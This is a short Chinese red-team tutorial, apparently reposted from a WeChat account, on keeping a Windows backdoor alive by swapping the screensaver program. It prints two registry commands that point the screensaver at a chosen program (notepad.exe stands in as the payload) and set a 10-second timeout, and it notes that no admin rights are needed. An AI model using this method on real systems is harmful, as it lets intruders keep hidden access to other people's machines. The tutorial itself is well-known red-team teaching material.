红队技巧 屏幕持久化

2022年12月22日12:16:29评论51 views字数 501阅读1分40秒阅读模式

一、屏幕保护持久化

屏幕保护应该都知道, 这里的利用方式十分简单, 就是替换屏幕保护程序为自己的后门程序实现的持久化。这个操作不需要高权限用户即可实现替换，普通用户即可。

注册表存在位置

HKEY_CURRENT_USERControl PanelDesktop

具体操作

1.为屏幕保护创建一个注册表项并插入后门

reg add "HKEY_CURRENT_USERControl PanelDesktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\windows\system32\notepad.exe" /f

2.再创建一个注册表项设置屏幕保护的超时时间决定什么时候启动屏幕保护程序

reg add "HKEY_CURRENT_USERControl PanelDesktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f # 设置超市时间为10秒

3.注销查看后门效果，根据设置的超时时间等待即可查看启动效果

红队技巧 -- 屏幕持久化

关注有礼

欢迎关注公众号：网络安全者

获取每日抽奖送书

红队技巧 -- 屏幕持久化

本文内容来自网络，如有侵权请联系删除

红队技巧 -- 屏幕持久化

原文始发于微信公众号（网络安全者）：红队技巧 -- 屏幕持久化

红队技巧屏幕持久化